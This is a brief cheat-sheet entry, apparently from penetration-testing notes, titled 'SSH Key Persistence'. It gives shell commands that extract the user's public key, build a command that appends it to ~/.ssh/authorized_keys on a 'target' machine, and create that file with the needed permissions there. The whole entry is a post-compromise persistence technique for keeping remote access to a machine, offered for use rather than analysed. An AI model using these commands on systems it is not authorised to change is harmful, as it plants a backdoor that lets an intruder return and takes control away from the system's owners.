🐧 SSH Key Persistence

Prepare your public key

# Retrieve your public key from private key
PUB=$(ssh-keygen -i -f <(ssh-keygen -e -f ~/.ssh/id_rsa))

# Generate command to type on target
echo -e "echo '$PUB'>>~/.ssh/authorized_keys"

Create ~/.ssh/authorized_keys if it doesn’t exist on target

mkdir ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys